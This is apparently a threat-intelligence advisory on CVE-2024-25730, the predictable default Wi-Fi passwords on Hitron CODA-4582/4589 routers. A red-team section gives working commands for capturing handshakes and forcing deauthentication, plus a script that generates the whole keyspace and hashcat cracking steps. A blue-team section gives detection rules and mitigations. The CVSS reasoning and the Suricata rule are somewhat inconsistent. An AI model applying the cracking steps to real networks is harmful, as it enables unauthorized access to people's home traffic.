CVE-2024-25730

Executive Summary

CVE-2024-25730 exposes a critical design flaw in Hitron CODA-4582 and CODA-4589 cable modems/routers. The devices generate default Pre-Shared Keys (PSKs) for Wi-Fi by concatenating a 5-digit hexadecimal value (0x00000 to 0xFFFFF) with the static string "Hitron". This results in a keyspace of only 1,048,576 possibilities (2^20), which is trivially brute-forceable by an attacker within minutes using modern hardware. Once the PSK is recovered, an attacker can decrypt Wi-Fi traffic, perform man-in-the-middle attacks, and gain full access to the internal network.

This vulnerability is particularly dangerous because it affects the default configuration, meaning a large number of devices are shipped with predictable passwords. The vendor, Hitron, has not released a patch or advisory, leaving users reliant on manual password changes.

Supply Chain & Package Security

This vulnerability is not related to software packages (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue affecting embedded devices. The supply chain risk lies in the manufacturing process where default credentials are hardcoded.

CVSS Breakdown & Threat Level

While the NVD assigned a CVSS score of 0.0 (likely due to incomplete data), the actual severity is critical. A realistic CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The attacker can brute-force the PSK remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the router itself.
• Confidentiality (C): High – All Wi-Fi traffic can be decrypted.
• Integrity (I): High – Attacker can inject malicious traffic.
• Availability (A): High – Attacker can disrupt network connectivity.

Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability stems from the algorithm used to generate the default Wi-Fi PSK. The process is as follows:

1. A 5-digit hexadecimal number is generated (e.g., A3F2B).
2. The string "Hitron" is appended (e.g., A3F2BHitron).
3. This combined string is used as the PSK for both 2.4GHz and 5GHz SSIDs.

The 5-digit hex value provides only 16^5 = 1,048,576 possible combinations. This is far below the recommended entropy for a Wi-Fi password (typically 128+ bits). An attacker can:

1. Capture a single WPA2 4-way handshake (passive sniffing).
2. Use a tool like hashcat or aircrack-ng to brute-force the PSK against the captured handshake.
3. Since the keyspace is small, this can be done in minutes on a modern GPU.

The attack does not require any authentication to the device itself; only proximity to the Wi-Fi signal is needed.

Vulnerable vs. Patched Code

There is no patched code available from Hitron. The vulnerable code is embedded in the device firmware. A hypothetical fix would involve:

• Vulnerable (Current): PSK = hex(rand(0x00000, 0xFFFFF)) + "Hitron"
• Patched (Hypothetical): PSK = base64(rand(128 bits)) or a user-forced strong password during initial setup.

Since no patch exists, the only mitigation is manual password change.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Recover the default Wi-Fi PSK from a Hitron CODA-4582/4589 device.

Tools Required:

• aircrack-ng suite (for capturing handshake)
• hashcat (for GPU-accelerated brute-force)
• Python script to generate the wordlist

Step 1: Capture WPA Handshake

# Set interface to monitor mode
sudo airmon-ng start wlan0

# Capture packets (replace BSSID with target)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Deauthenticate a client to force reconnection (optional)
sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF wlan0mon

Step 2: Generate Wordlist

# generate_wordlist.py
with open("hitron_psks.txt", "w") as f:
    for i in range(0x100000):  # 0 to 1,048,575
        hex_val = format(i, '05X')
        f.write(f"{hex_val}Hitron\n")

Step 3: Brute-force with Hashcat

# Convert capture to hashcat format
aircrack-ng capture-01.cap -j capture

# Crack using wordlist
hashcat -m 2500 capture.hccapx hitron_psks.txt --potfile-disable --show

Expected Output: The PSK will be recovered in seconds to minutes.

Blue Team (Defender)

Objective: Detect and mitigate the vulnerability.

Detection:

• Monitor for excessive deauthentication packets (potential handshake capture attempts).
• Use a Wi-Fi intrusion detection system (WIDS) to alert on brute-force attempts.
• Check device logs for repeated failed authentication attempts (if available).

Mitigation:

1. Immediate: Change the Wi-Fi password to a strong, random string (at least 16 characters, mixed case, numbers, symbols).
2. Permanent: Disable default SSID broadcasting and use a custom SSID.
3. Network Segmentation: Place IoT devices on a separate VLAN.
4. Firmware Updates: Monitor Hitron's website for any future patches (unlikely).

Indicators of Compromise (IOCs)

• Network:
  • High volume of deauthentication packets from a single MAC address.
  • Repeated WPA handshake captures from the same source.
  • Unusual traffic patterns on the Wi-Fi channel (e.g., constant probe requests).
• Host (Router):
  • Default SSID (e.g., "CODA-4582-XXXX" or "CODA-4589-XXXX").
  • Default PSK pattern: [5 hex digits]Hitron.
  • No custom password set in the admin interface.
• File (Wordlist):
  • Presence of hitron_psks.txt or similar files on an attacker's machine.

Detection Engineering

YARA Rule

rule CVE_2024_25730_Hitron_PSK_Wordlist {
    meta:
        description = "Detects wordlist files containing Hitron default PSK patterns"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "CVE-2024-25730"
    strings:
        $hex_pattern = /[0-9A-F]{5}Hitron/
    condition:
        $hex_pattern
}

Sigma Rule

title: CVE-2024-25730 Hitron Default PSK Brute Force Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple deauthentication packets followed by handshake capture, indicating PSK brute-force.
author: Valters IT
date: 2024/02/20
logsource:
    category: wireless
    product: wids
detection:
    selection:
        EventID: 0x000C  # Deauthentication
        Reason: 7        # Class 3 frame from nonassociated STA
    timeframe: 5m
    condition: selection | count() > 10
falsepositives:
    - Legitimate network troubleshooting
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2024-25730 Hitron Default PSK Brute Force - HTTP Admin Login Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"password"; http_client_body; pcre:"/[0-9A-F]{5}Hitron/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Wi-Fi Password: Log into the router's admin interface (typically 192.168.0.1) and set a strong, random password for both 2.4GHz and 5GHz bands.
2. Disable WPS: Wi-Fi Protected Setup (WPS) can be abused to bypass the PSK.
3. Update Firmware: Check for any firmware updates from Hitron (though none are currently available).

Long-term Recommendations:

• Replace Device: Consider replacing the Hitron modem/router with a device from a vendor with a better security track record.
• Network Monitoring: Deploy a WIDS to detect brute-force attacks.
• User Education: Inform users about the importance of changing default passwords.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact: threatintel@valtersit.com